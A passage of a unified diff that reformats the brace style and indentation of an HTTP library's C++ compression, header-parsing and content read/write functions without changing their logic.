"text/event-stream"_t; + } } -inline EncodingType encoding_type(const Request &req, const Response &res) { - auto ret = - detail::can_compress_content_type(res.get_header_value("Content-Type")); - if (!ret) { return EncodingType::None; } +inline EncodingType encoding_type(const Request &req, const Response &res) +{ + auto ret = + detail::can_compress_content_type(res.get_header_value("Content-Type")); + if (!ret) { + return EncodingType::None; + } - const auto &s = req.get_header_value("Accept-Encoding"); - (void)(s); + const auto &s = req.get_header_value("Accept-Encoding"); + (void)(s); #ifdef CPPHTTPLIB_BROTLI_SUPPORT - // TODO: 'Accept-Encoding' has br, not br;q=0 - ret = s.find("br") != std::string::npos; - if (ret) { return EncodingType::Brotli; } + // TODO: 'Accept-Encoding' has br, not br;q=0 + ret = s.find("br") != std::string::npos; + if (ret) { + return EncodingType::Brotli; + } #endif #ifdef CPPHTTPLIB_ZLIB_SUPPORT - // TODO: 'Accept-Encoding' has gzip, not gzip;q=0 - ret = s.find("gzip") != std::string::npos; - if (ret) { return EncodingType::Gzip; } + // TODO: 'Accept-Encoding' has gzip, not gzip;q=0 + ret = s.find("gzip") != std::string::npos; + if (ret) { + return EncodingType::Gzip; + } #endif - return EncodingType::None; + return EncodingType::None; } inline bool nocompressor::compress(const char *data, size_t data_length, - bool /*last*/, Callback callback) { - if (!data_length) { return true; } - return callback(data, data_length); + bool /*last*/, Callback callback) +{ + if (!data_length) { + return true; + } + return callback(data, data_length); } #ifdef CPPHTTPLIB_ZLIB_SUPPORT -inline gzip_compressor::gzip_compressor() { - std::memset(&strm_, 0, sizeof(strm_)); - strm_.zalloc = Z_NULL; - strm_.zfree = Z_NULL; - strm_.opaque = Z_NULL; +inline gzip_compressor::gzip_compressor() +{ + std::memset(&strm_, 0, sizeof(strm_)); + strm_.zalloc = Z_NULL; + strm_.zfree = Z_NULL; + strm_.opaque = Z_NULL; - is_valid_ = deflateInit2(&strm_, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 31, 8, - Z_DEFAULT_STRATEGY) == Z_OK; + is_valid_ = deflateInit2(&strm_, Z_DEFAULT_COMPRESSION, Z_DEFLATED, 31, 8, + Z_DEFAULT_STRATEGY) == Z_OK; } -inline gzip_compressor::~gzip_compressor() { deflateEnd(&strm_); } +inline gzip_compressor::~gzip_compressor() +{ + deflateEnd(&strm_); +} inline bool gzip_compressor::compress(const char *data, size_t data_length, - bool last, Callback callback) { - assert(is_valid_); + bool last, Callback callback) +{ + assert(is_valid_); - do { - constexpr size_t max_avail_in = - (std::numeric_limits::max)(); - - strm_.avail_in = static_cast( - (std::min)(data_length, max_avail_in)); - strm_.next_in = const_cast(reinterpret_cast(data)); - - data_length -= strm_.avail_in; - data += strm_.avail_in; - - auto flush = (last && data_length == 0) ? Z_FINISH : Z_NO_FLUSH; - auto ret = Z_OK; - - std::array buff{}; do { - strm_.avail_out = static_cast(buff.size()); - strm_.next_out = reinterpret_cast(buff.data()); + constexpr size_t max_avail_in = + (std::numeric_limits::max)(); - ret = deflate(&strm_, flush); - if (ret == Z_STREAM_ERROR) { return false; } + strm_.avail_in = static_cast( + (std::min)(data_length, max_avail_in)); + strm_.next_in = const_cast(reinterpret_cast(data)); - if (!callback(buff.data(), buff.size() - strm_.avail_out)) { - return false; - } - } while (strm_.avail_out == 0); + data_length -= strm_.avail_in; + data += strm_.avail_in; - assert((flush == Z_FINISH && ret == Z_STREAM_END) || - (flush == Z_NO_FLUSH && ret == Z_OK)); - assert(strm_.avail_in == 0); - } while (data_length > 0); + auto flush = (last && data_length == 0) ? Z_FINISH : Z_NO_FLUSH; + auto ret = Z_OK; - return true; + std::array buff{}; + do { + strm_.avail_out = static_cast(buff.size()); + strm_.next_out = reinterpret_cast(buff.data()); + + ret = deflate(&strm_, flush); + if (ret == Z_STREAM_ERROR) { + return false; + } + + if (!callback(buff.data(), buff.size() - strm_.avail_out)) { + return false; + } + } while (strm_.avail_out == 0); + + assert((flush == Z_FINISH && ret == Z_STREAM_END) || + (flush == Z_NO_FLUSH && ret == Z_OK)); + assert(strm_.avail_in == 0); + } while (data_length > 0); + + return true; } -inline gzip_decompressor::gzip_decompressor() { - std::memset(&strm_, 0, sizeof(strm_)); - strm_.zalloc = Z_NULL; - strm_.zfree = Z_NULL; - strm_.opaque = Z_NULL; +inline gzip_decompressor::gzip_decompressor() +{ + std::memset(&strm_, 0, sizeof(strm_)); + strm_.zalloc = Z_NULL; + strm_.zfree = Z_NULL; + strm_.opaque = Z_NULL; - // 15 is the value of wbits, which should be at the maximum possible value - // to ensure that any gzip stream can be decoded. The offset of 32 specifies - // that the stream type should be automatically detected either gzip or - // deflate. - is_valid_ = inflateInit2(&strm_, 32 + 15) == Z_OK; + // 15 is the value of wbits, which should be at the maximum possible value + // to ensure that any gzip stream can be decoded. The offset of 32 specifies + // that the stream type should be automatically detected either gzip or + // deflate. + is_valid_ = inflateInit2(&strm_, 32 + 15) == Z_OK; } -inline gzip_decompressor::~gzip_decompressor() { inflateEnd(&strm_); } +inline gzip_decompressor::~gzip_decompressor() +{ + inflateEnd(&strm_); +} -inline bool gzip_decompressor::is_valid() const { return is_valid_; } +inline bool gzip_decompressor::is_valid() const +{ + return is_valid_; +} inline bool gzip_decompressor::decompress(const char *data, size_t data_length, - Callback callback) { - assert(is_valid_); + Callback callback) +{ + assert(is_valid_); - auto ret = Z_OK; + auto ret = Z_OK; - do { - constexpr size_t max_avail_in = - (std::numeric_limits::max)(); + do { + constexpr size_t max_avail_in = + (std::numeric_limits::max)(); - strm_.avail_in = static_cast( - (std::min)(data_length, max_avail_in)); - strm_.next_in = const_cast(reinterpret_cast(data)); + strm_.avail_in = static_cast( + (std::min)(data_length, max_avail_in)); + strm_.next_in = const_cast(reinterpret_cast(data)); - data_length -= strm_.avail_in; - data += strm_.avail_in; + data_length -= strm_.avail_in; + data += strm_.avail_in; - std::array buff{}; - while (strm_.avail_in > 0 && ret == Z_OK) { - strm_.avail_out = static_cast(buff.size()); - strm_.next_out = reinterpret_cast(buff.data()); + std::array buff{}; + while (strm_.avail_in > 0 && ret == Z_OK) { + strm_.avail_out = static_cast(buff.size()); + strm_.next_out = reinterpret_cast(buff.data()); - ret = inflate(&strm_, Z_NO_FLUSH); + ret = inflate(&strm_, Z_NO_FLUSH); - assert(ret != Z_STREAM_ERROR); - switch (ret) { - case Z_NEED_DICT: - case Z_DATA_ERROR: - case Z_MEM_ERROR: inflateEnd(&strm_); return false; - } + assert(ret != Z_STREAM_ERROR); + switch (ret) { + case Z_NEED_DICT: + case Z_DATA_ERROR: + case Z_MEM_ERROR: + inflateEnd(&strm_); + return false; + } - if (!callback(buff.data(), buff.size() - strm_.avail_out)) { - return false; - } - } + if (!callback(buff.data(), buff.size() - strm_.avail_out)) { + return false; + } + } - if (ret != Z_OK && ret != Z_STREAM_END) { return false; } + if (ret != Z_OK && ret != Z_STREAM_END) { + return false; + } - } while (data_length > 0); + } while (data_length > 0); - return true; + return true; } #endif #ifdef CPPHTTPLIB_BROTLI_SUPPORT -inline brotli_compressor::brotli_compressor() { - state_ = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); +inline brotli_compressor::brotli_compressor() +{ + state_ = BrotliEncoderCreateInstance(nullptr, nullptr, nullptr); } -inline brotli_compressor::~brotli_compressor() { - BrotliEncoderDestroyInstance(state_); +inline brotli_compressor::~brotli_compressor() +{ + BrotliEncoderDestroyInstance(state_); } inline bool brotli_compressor::compress(const char *data, size_t data_length, - bool last, Callback callback) { - std::array buff{}; + bool last, Callback callback) +{ + std::array buff{}; - auto operation = last ? BROTLI_OPERATION_FINISH : BROTLI_OPERATION_PROCESS; - auto available_in = data_length; - auto next_in = reinterpret_cast(data); + auto operation = last ? BROTLI_OPERATION_FINISH : BROTLI_OPERATION_PROCESS; + auto available_in = data_length; + auto next_in = reinterpret_cast(data); - for (;;) { - if (last) { - if (BrotliEncoderIsFinished(state_)) { break; } - } else { - if (!available_in) { break; } + for (;;) { + if (last) { + if (BrotliEncoderIsFinished(state_)) { + break; + } + } else { + if (!available_in) { + break; + } + } + + auto available_out = buff.size(); + auto next_out = buff.data(); + + if (!BrotliEncoderCompressStream(state_, operation, &available_in, &next_in, + &available_out, &next_out, nullptr)) { + return false; + } + + auto output_bytes = buff.size() - available_out; + if (output_bytes) { + callback(reinterpret_cast(buff.data()), output_bytes); + } } - auto available_out = buff.size(); - auto next_out = buff.data(); + return true; +} - if (!BrotliEncoderCompressStream(state_, operation, &available_in, &next_in, - &available_out, &next_out, nullptr)) { - return false; +inline brotli_decompressor::brotli_decompressor() +{ + decoder_s = BrotliDecoderCreateInstance(0, 0, 0); + decoder_r = decoder_s ? BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT + : BROTLI_DECODER_RESULT_ERROR; +} + +inline brotli_decompressor::~brotli_decompressor() +{ + if (decoder_s) { + BrotliDecoderDestroyInstance(decoder_s); } - - auto output_bytes = buff.size() - available_out; - if (output_bytes) { - callback(reinterpret_cast(buff.data()), output_bytes); - } - } - - return true; } -inline brotli_decompressor::brotli_decompressor() { - decoder_s = BrotliDecoderCreateInstance(0, 0, 0); - decoder_r = decoder_s ? BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT - : BROTLI_DECODER_RESULT_ERROR; +inline bool brotli_decompressor::is_valid() const +{ + return decoder_s; } -inline brotli_decompressor::~brotli_decompressor() { - if (decoder_s) { BrotliDecoderDestroyInstance(decoder_s); } -} - -inline bool brotli_decompressor::is_valid() const { return decoder_s; } - inline bool brotli_decompressor::decompress(const char *data, - size_t data_length, - Callback callback) { - if (decoder_r == BROTLI_DECODER_RESULT_SUCCESS || - decoder_r == BROTLI_DECODER_RESULT_ERROR) { - return 0; - } + size_t data_length, + Callback callback) +{ + if (decoder_r == BROTLI_DECODER_RESULT_SUCCESS || + decoder_r == BROTLI_DECODER_RESULT_ERROR) { + return 0; + } - auto next_in = reinterpret_cast(data); - size_t avail_in = data_length; - size_t total_out; + auto next_in = reinterpret_cast(data); + size_t avail_in = data_length; + size_t total_out; - decoder_r = BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT; + decoder_r = BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT; - std::array buff{}; - while (decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT) { - char *next_out = buff.data(); - size_t avail_out = buff.size(); + std::array buff{}; + while (decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_OUTPUT) { + char *next_out = buff.data(); + size_t avail_out = buff.size(); - decoder_r = BrotliDecoderDecompressStream( - decoder_s, &avail_in, &next_in, &avail_out, - reinterpret_cast(&next_out), &total_out); + decoder_r = BrotliDecoderDecompressStream( + decoder_s, &avail_in, &next_in, &avail_out, + reinterpret_cast(&next_out), &total_out); - if (decoder_r == BROTLI_DECODER_RESULT_ERROR) { return false; } + if (decoder_r == BROTLI_DECODER_RESULT_ERROR) { + return false; + } - if (!callback(buff.data(), buff.size() - avail_out)) { return false; } - } + if (!callback(buff.data(), buff.size() - avail_out)) { + return false; + } + } - return decoder_r == BROTLI_DECODER_RESULT_SUCCESS || - decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT; + return decoder_r == BROTLI_DECODER_RESULT_SUCCESS || + decoder_r == BROTLI_DECODER_RESULT_NEEDS_MORE_INPUT; } #endif -inline bool has_header(const Headers &headers, const std::string &key) { - return headers.find(key) != headers.end(); +inline bool has_header(const Headers &headers, const std::string &key) +{ + return headers.find(key) != headers.end(); } inline const char *get_header_value(const Headers &headers, const std::string &key, size_t id, - const char *def) { - auto rng = headers.equal_range(key); - auto it = rng.first; - std::advance(it, static_cast(id)); - if (it != rng.second) { return it->second.c_str(); } - return def; + const char *def) +{ + auto rng = headers.equal_range(key); + auto it = rng.first; + std::advance(it, static_cast(id)); + if (it != rng.second) { + return it->second.c_str(); + } + return def; } -inline bool compare_case_ignore(const std::string &a, const std::string &b) { - if (a.size() != b.size()) { return false; } - for (size_t i = 0; i < b.size(); i++) { - if (::tolower(a[i]) != ::tolower(b[i])) { return false; } - } - return true; +inline bool compare_case_ignore(const std::string &a, const std::string &b) +{ + if (a.size() != b.size()) { + return false; + } + for (size_t i = 0; i < b.size(); i++) { + if (::tolower(a[i]) != ::tolower(b[i])) { + return false; + } + } + return true; } template -inline bool parse_header(const char *beg, const char *end, T fn) { - // Skip trailing spaces and tabs. - while (beg < end && is_space_or_tab(end[-1])) { - end--; - } +inline bool parse_header(const char *beg, const char *end, T fn) +{ + // Skip trailing spaces and tabs. + while (beg < end && is_space_or_tab(end[-1])) { + end--; + } - auto p = beg; - while (p < end && *p != ':') { - p++; - } + auto p = beg; + while (p < end && *p != ':') { + p++; + } - if (p == end) { return false; } + if (p == end) { + return false; + } - auto key_end = p; + auto key_end = p; - if (*p++ != ':') { return false; } + if (*p++ != ':') { + return false; + } - while (p < end && is_space_or_tab(*p)) { - p++; - } + while (p < end && is_space_or_tab(*p)) { + p++; + } - if (p < end) { - auto key_len = key_end - beg; - if (!key_len) { return false; } + if (p < end) { + auto key_len = key_end - beg; + if (!key_len) { + return false; + } - auto key = std::string(beg, key_end); - auto val = compare_case_ignore(key, "Location") + auto key = std::string(beg, key_end); + auto val = compare_case_ignore(key, "Location") ? std::string(p, end) : decode_url(std::string(p, end), false); - fn(std::move(key), std::move(val)); - return true; - } + fn(std::move(key), std::move(val)); + return true; + } - return false; + return false; } -inline bool read_headers(Stream &strm, Headers &headers) { - const auto bufsiz = 2048; - char buf[bufsiz]; - stream_line_reader line_reader(strm, buf, bufsiz); +inline bool read_headers(Stream &strm, Headers &headers) +{ + const auto bufsiz = 2048; + char buf[bufsiz]; + stream_line_reader line_reader(strm, buf, bufsiz); - for (;;) { - if (!line_reader.getline()) { return false; } + for (;;) { + if (!line_reader.getline()) { + return false; + } - // Check if the line ends with CRLF. - auto line_terminator_len = 2; - if (line_reader.end_with_crlf()) { - // Blank line indicates end of headers. - if (line_reader.size() == 2) { break; } + // Check if the line ends with CRLF. + auto line_terminator_len = 2; + if (line_reader.end_with_crlf()) { + // Blank line indicates end of headers. + if (line_reader.size() == 2) { + break; + } #ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR - } else { - // Blank line indicates end of headers. - if (line_reader.size() == 1) { break; } - line_terminator_len = 1; - } + } else { + // Blank line indicates end of headers. + if (line_reader.size() == 1) { + break; + } + line_terminator_len = 1; + } #else - } else { - continue; // Skip invalid line. - } + } else { + continue; // Skip invalid line. + } #endif - if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } + if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } - // Exclude line terminator - auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + // Exclude line terminator + auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; - parse_header(line_reader.ptr(), end, - [&](std::string &&key, std::string &&val) { - headers.emplace(std::move(key), std::move(val)); - }); - } + parse_header(line_reader.ptr(), end, + [&](std::string &&key, std::string &&val) { + headers.emplace(std::move(key), std::move(val)); + }); + } - return true; + return true; } inline bool read_content_with_length(Stream &strm, uint64_t len, Progress progress, - ContentReceiverWithProgress out) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; + ContentReceiverWithProgress out) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - while (r < len) { - auto read_len = static_cast(len - r); - auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); - if (n <= 0) { return false; } + uint64_t r = 0; + while (r < len) { + auto read_len = static_cast(len - r); + auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); + if (n <= 0) { + return false; + } - if (!out(buf, static_cast(n), r, len)) { return false; } - r += static_cast(n); + if (!out(buf, static_cast(n), r, len)) { + return false; + } + r += static_cast(n); - if (progress) { - if (!progress(r, len)) { return false; } + if (progress) { + if (!progress(r, len)) { + return false; + } + } } - } - return true; + return true; } -inline void skip_content_with_length(Stream &strm, uint64_t len) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - while (r < len) { - auto read_len = static_cast(len - r); - auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); - if (n <= 0) { return; } - r += static_cast(n); - } +inline void skip_content_with_length(Stream &strm, uint64_t len) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; + uint64_t r = 0; + while (r < len) { + auto read_len = static_cast(len - r); + auto n = strm.read(buf, (std::min)(read_len, CPPHTTPLIB_RECV_BUFSIZ)); + if (n <= 0) { + return; + } + r += static_cast(n); + } } inline bool read_content_without_length(Stream &strm, - ContentReceiverWithProgress out) { - char buf[CPPHTTPLIB_RECV_BUFSIZ]; - uint64_t r = 0; - for (;;) { - auto n = strm.read(buf, CPPHTTPLIB_RECV_BUFSIZ); - if (n <= 0) { return true; } + ContentReceiverWithProgress out) +{ + char buf[CPPHTTPLIB_RECV_BUFSIZ]; + uint64_t r = 0; + for (;;) { + auto n = strm.read(buf, CPPHTTPLIB_RECV_BUFSIZ); + if (n <= 0) { + return true; + } - if (!out(buf, static_cast(n), r, 0)) { return false; } - r += static_cast(n); - } + if (!out(buf, static_cast(n), r, 0)) { + return false; + } + r += static_cast(n); + } - return true; + return true; } template inline bool read_content_chunked(Stream &strm, T &x, - ContentReceiverWithProgress out) { - const auto bufsiz = 16; - char buf[bufsiz]; + ContentReceiverWithProgress out) +{ + const auto bufsiz = 16; + char buf[bufsiz]; - stream_line_reader line_reader(strm, buf, bufsiz); + stream_line_reader line_reader(strm, buf, bufsiz); - if (!line_reader.getline()) { return false; } - - unsigned long chunk_len; - while (true) { - char *end_ptr; - - chunk_len = std::strtoul(line_reader.ptr(), &end_ptr, 16); - - if (end_ptr == line_reader.ptr()) { return false; } - if (chunk_len == ULONG_MAX) { return false; } - - if (chunk_len == 0) { break; } - - if (!read_content_with_length(strm, chunk_len, nullptr, out)) { - return false; + if (!line_reader.getline()) { + return false; } - if (!line_reader.getline()) { return false; } + unsigned long chunk_len; + while (true) { + char *end_ptr; - if (strcmp(line_reader.ptr(), "\r\n") != 0) { return false; } + chunk_len = std::strtoul(line_reader.ptr(), &end_ptr, 16); - if (!line_reader.getline()) { return false; } - } + if (end_ptr == line_reader.ptr()) { + return false; + } + if (chunk_len == ULONG_MAX) { + return false; + } - assert(chunk_len == 0); + if (chunk_len == 0) { + break; + } - // Trailer - if (!line_reader.getline()) { return false; } + if (!read_content_with_length(strm, chunk_len, nullptr, out)) { + return false; + } - while (strcmp(line_reader.ptr(), "\r\n") != 0) { - if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { return false; } + if (!line_reader.getline()) { + return false; + } - // Exclude line terminator - constexpr auto line_terminator_len = 2; - auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + if (strcmp(line_reader.ptr(), "\r\n") != 0) { + return false; + } - parse_header(line_reader.ptr(), end, - [&](std::string &&key, std::string &&val) { - x.headers.emplace(std::move(key), std::move(val)); - }); + if (!line_reader.getline()) { + return false; + } + } - if (!line_reader.getline()) { return false; } - } + assert(chunk_len == 0); - return true; + // Trailer + if (!line_reader.getline()) { + return false; + } + + while (strcmp(line_reader.ptr(), "\r\n") != 0) { + if (line_reader.size() > CPPHTTPLIB_HEADER_MAX_LENGTH) { + return false; + } + + // Exclude line terminator + constexpr auto line_terminator_len = 2; + auto end = line_reader.ptr() + line_reader.size() - line_terminator_len; + + parse_header(line_reader.ptr(), end, + [&](std::string &&key, std::string &&val) { + x.headers.emplace(std::move(key), std::move(val)); + }); + + if (!line_reader.getline()) { + return false; + } + } + + return true; } -inline bool is_chunked_transfer_encoding(const Headers &headers) { - return !strcasecmp(get_header_value(headers, "Transfer-Encoding", 0, ""), - "chunked"); +inline bool is_chunked_transfer_encoding(const Headers &headers) +{ + return !strcasecmp(get_header_value(headers, "Transfer-Encoding", 0, ""), + "chunked"); } template bool prepare_content_receiver(T &x, int &status, ContentReceiverWithProgress receiver, - bool decompress, U callback) { - if (decompress) { - std::string encoding = x.get_header_value("Content-Encoding"); - std::unique_ptr decompressor; + bool decompress, U callback) +{ + if (decompress) { + std::string encoding = x.get_header_value("Content-Encoding"); + std::unique_ptr decompressor; - if (encoding == "gzip" || encoding == "deflate") { + if (encoding == "gzip" || encoding == "deflate") { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - decompressor = detail::make_unique(); + decompressor = detail::make_unique(); #else - status = StatusCode::UnsupportedMediaType_415; - return false; + status = StatusCode::UnsupportedMediaType_415; + return false; #endif - } else if (encoding.find("br") != std::string::npos) { + } else if (encoding.find("br") != std::string::npos) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - decompressor = detail::make_unique(); + decompressor = detail::make_unique(); #else - status = StatusCode::UnsupportedMediaType_415; - return false; + status = StatusCode::UnsupportedMediaType_415; + return false; #endif + } + + if (decompressor) { + if (decompressor->is_valid()) { + ContentReceiverWithProgress out = [&](const char *buf, size_t n, + uint64_t off, uint64_t len) { + return decompressor->decompress(buf, n, + [&](const char *buf2, size_t n2) { + return receiver(buf2, n2, off, len); + }); + }; + return callback(std::move(out)); + } else { + status = StatusCode::InternalServerError_500; + return false; + } + } } - if (decompressor) { - if (decompressor->is_valid()) { - ContentReceiverWithProgress out = [&](const char *buf, size_t n, - uint64_t off, uint64_t len) { - return decompressor->decompress(buf, n, - [&](const char *buf2, size_t n2) { - return receiver(buf2, n2, off, len); - }); - }; - return callback(std::move(out)); - } else { - status = StatusCode::InternalServerError_500; - return false; - } - } - } - - ContentReceiverWithProgress out = [&](const char *buf, size_t n, uint64_t off, - uint64_t len) { - return receiver(buf, n, off, len); - }; - return callback(std::move(out)); + ContentReceiverWithProgress out = [&](const char *buf, size_t n, uint64_t off, + uint64_t len) { + return receiver(buf, n, off, len); + }; + return callback(std::move(out)); } template bool read_content(Stream &strm, T &x, size_t payload_max_length, int &status, Progress progress, ContentReceiverWithProgress receiver, - bool decompress) { - return prepare_content_receiver( - x, status, std::move(receiver), decompress, - [&](const ContentReceiverWithProgress &out) { + bool decompress) +{ + return prepare_content_receiver( + x, status, std::move(receiver), decompress, + [&](const ContentReceiverWithProgress &out) { auto ret = true; auto exceed_payload_max_length = false; if (is_chunked_transfer_encoding(x.headers)) { - ret = read_content_chunked(strm, x, out); + ret = read_content_chunked(strm, x, out); } else if (!has_header(x.headers, "Content-Length")) { - ret = read_content_without_length(strm, out); + ret = read_content_without_length(strm, out); } else { - auto len = get_header_value_u64(x.headers, "Content-Length", 0, 0); - if (len > payload_max_length) { - exceed_payload_max_length = true; - skip_content_with_length(strm, len); - ret = false; - } else if (len > 0) { - ret = read_content_with_length(strm, len, std::move(progress), out); - } + auto len = get_header_value_u64(x.headers, "Content-Length", 0, 0); + if (len > payload_max_length) { + exceed_payload_max_length = true; + skip_content_with_length(strm, len); + ret = false; + } else if (len > 0) { + ret = read_content_with_length(strm, len, std::move(progress), out); + } } if (!ret) { - status = exceed_payload_max_length ? StatusCode::PayloadTooLarge_413 - : StatusCode::BadRequest_400; + status = exceed_payload_max_length ? StatusCode::PayloadTooLarge_413 + : StatusCode::BadRequest_400; } return ret; - }); + }); } // namespace detail -inline ssize_t write_headers(Stream &strm, const Headers &headers) { - ssize_t write_len = 0; - for (const auto &x : headers) { - auto len = - strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); - if (len < 0) { return len; } +inline ssize_t write_headers(Stream &strm, const Headers &headers) +{ + ssize_t write_len = 0; + for (const auto &x : headers) { + auto len = + strm.write_format("%s: %s\r\n", x.first.c_str(), x.second.c_str()); + if (len < 0) { + return len; + } + write_len += len; + } + auto len = strm.write("\r\n"); + if (len < 0) { + return len; + } write_len += len; - } - auto len = strm.write("\r\n"); - if (len < 0) { return len; } - write_len += len; - return write_len; + return write_len; } -inline bool write_data(Stream &strm, const char *d, size_t l) { - size_t offset = 0; - while (offset < l) { - auto length = strm.write(d + offset, l - offset); - if (length < 0) { return false; } - offset += static_cast(length); - } - return true; +inline bool write_data(Stream &strm, const char *d, size_t l) +{ + size_t offset = 0; + while (offset < l) { + auto length = strm.write(d + offset, l - offset); + if (length < 0) { + return false; + } + offset += static_cast(length); + } + return true; } template inline bool write_content(Stream &strm, const ContentProvider &content_provider, size_t offset, size_t length, T is_shutting_down, - Error &error) { - size_t end_offset = offset + length; - auto ok = true; - DataSink data_sink; + Error &error) +{ + size_t end_offset = offset + length; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - if (strm.is_writable() && write_data(strm, d, l)) { - offset += l; - } else { - ok = false; - } + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + if (strm.is_writable() && write_data(strm, d, l)) { + offset += l; + } else { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + while (offset < end_offset && !is_shutting_down()) { + if (!strm.is_writable()) { + error = Error::Write; + return false; + } else if (!content_provider(offset, end_offset - offset, data_sink)) { + error = Error::Canceled; + return false; + } else if (!ok) { + error = Error::Write; + return false; + } } - return ok; - }; - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - while (offset < end_offset && !is_shutting_down()) { - if (!strm.is_writable()) { - error = Error::Write; - return false; - } else if (!content_provider(offset, end_offset - offset, data_sink)) { - error = Error::Canceled; - return false; - } else if (!ok) { - error = Error::Write; - return false; - } - } - - error = Error::Success; - return true; + error = Error::Success; + return true; } template inline bool write_content(Stream &strm, const ContentProvider &content_provider, size_t offset, size_t length, - const T &is_shutting_down) { - auto error = Error::Success; - return write_content(strm, content_provider, offset, length, is_shutting_down, - error); + const T &is_shutting_down) +{ + auto error = Error::Success; + return write_content(strm, content_provider, offset, length, is_shutting_down, + error); } template inline bool write_content_without_length(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down) { - size_t offset = 0; - auto data_available = true; - auto ok = true; - DataSink data_sink; + const T &is_shutting_down) +{ + size_t offset = 0; + auto data_available = true; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - offset += l; - if (!strm.is_writable() || !write_data(strm, d, l)) { ok = false; } + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + offset += l; + if (!strm.is_writable() || !write_data(strm, d, l)) { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + data_sink.done = [&](void) { + data_available = false; + }; + + while (data_available && !is_shutting_down()) { + if (!strm.is_writable()) { + return false; + } else if (!content_provider(offset, 0, data_sink)) { + return false; + } else if (!ok) { + return false; + } } - return ok; - }; - - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - data_sink.done = [&](void) { data_available = false; }; - - while (data_available && !is_shutting_down()) { - if (!strm.is_writable()) { - return false; - } else if (!content_provider(offset, 0, data_sink)) { - return false; - } else if (!ok) { - return false; - } - } - return true; + return true; } template inline bool write_content_chunked(Stream &strm, const ContentProvider &content_provider, - const T &is_shutting_down, U &compressor, Error &error) { - size_t offset = 0; - auto data_available = true; - auto ok = true; - DataSink data_sink; + const T &is_shutting_down, U &compressor, Error &error) +{ + size_t offset = 0; + auto data_available = true; + auto ok = true; + DataSink data_sink; - data_sink.write = [&](const char *d, size_t l) -> bool { - if (ok) { - data_available = l > 0; - offset += l; + data_sink.write = [&](const char *d, size_t l) -> bool { + if (ok) + { + data_available = l > 0; + offset += l; - std::string payload; - if (compressor.compress(d, l, false, - [&](const char *data, size_t data_len) { - payload.append(data, data_len); - return true; - })) { - if (!payload.empty()) { - // Emit chunked response header and footer for each chunk - auto chunk = - from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; - if (!strm.is_writable() || - !write_data(strm, chunk.data(), chunk.size())) { + std::string payload; + if (compressor.compress(d, l, false, + [&](const char *data, size_t data_len) { + payload.append(data, data_len); + return true; + })) { + if (!payload.empty()) { + // Emit chunked response header and footer for each chunk + auto chunk = + from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; + if (!strm.is_writable() || + !write_data(strm, chunk.data(), chunk.size())) { + ok = false; + } + } + } else { + ok = false; + } + } + return ok; + }; + + data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; + + auto done_with_trailer = [&](const Headers *trailer) { + if (!ok) { + return; + } + + data_available = false; + + std::string payload; + if (!compressor.compress(nullptr, 0, true, + [&](const char *data, size_t data_len) { + payload.append(data, data_len); + return true; + })) { ok = false; - } + return; } - } else { - ok = false; - } - } - return ok; - }; - data_sink.is_writable = [&]() -> bool { return strm.is_writable(); }; - - auto done_with_trailer = [&](const Headers *trailer) { - if (!ok) { return; } - - data_available = false; - - std::string payload; - if (!compressor.compress(nullptr, 0, true, - [&](const char *data, size_t data_len) { - payload.append(data, data_len); - return true; - })) { - ok = false; - return; - } - - if (!payload.empty()) { - // Emit chunked response header and footer for each chunk - auto chunk = from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; - if (!strm.is_writable() || - !write_data(strm, chunk.data(), chunk.size())) { - ok = false; - return; - } - } - - static const std::string done_marker("0\r\n"); - if (!write_data(strm, done_marker.data(), done_marker.size())) { - ok = false; - } - - // Trailer - if (trailer) { - for (const auto &kv : *trailer) { - std::string field_line = kv.first + ": " + kv.second + "\r\n"; - if (!write_data(strm, field_line.data(), field_line.size())) { - ok = false; + if (!payload.empty()) { + // Emit chunked response header and footer for each chunk + auto chunk = from_i_to_hex(payload.size()) + "\r\n" + payload + "\r\n"; + if (!strm.is_writable() || + !write_data(strm, chunk.data(), chunk.size())) { + ok = false; + return; + } + } + + static const std::string done_marker("0\r\n"); + if (!write_data(strm, done_marker.data(), done_marker.size())) { + ok = false; + } + + // Trailer + if 